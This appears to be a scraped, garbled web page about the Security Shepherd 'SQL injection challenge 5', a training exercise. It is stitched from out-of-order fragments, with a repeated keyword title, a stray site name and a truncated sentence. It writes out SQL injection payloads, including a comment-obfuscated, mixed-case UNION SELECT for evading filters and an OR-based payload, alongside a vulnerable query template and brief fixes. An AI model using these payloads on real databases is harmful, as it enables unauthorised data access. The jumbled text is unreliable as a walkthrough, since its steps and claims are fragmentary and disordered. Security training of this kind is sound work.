Sql+injection+challenge+5+security+shepherd+new Page

SELECT coupon_code FROM coupons WHERE coupon_code = '[USER_INPUT]'; Course Hero Since the goal is to make this query return

Notice how the fixed code requires zero filters. It separates logic from data entirely. sql+injection+challenge+5+security+shepherd+new

Implement allow-lists for expected input formats. try two columns. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL

Ah — there’s a client-side or server-side filter. You check the page source: sql+injection+challenge+5+security+shepherd+new

Search term: %' OR user_id=1 --

Once injected, the database may reveal the secret VIP code (common examples in Shepherd often include strings like VIP_COUPON_123 or similar unique keys).

If this returns no rows (False), try two columns. Payload: 1'/**/UnIoN/**/SeLeCt/**/NULL,NULL/**/aNd/**/1=2-- -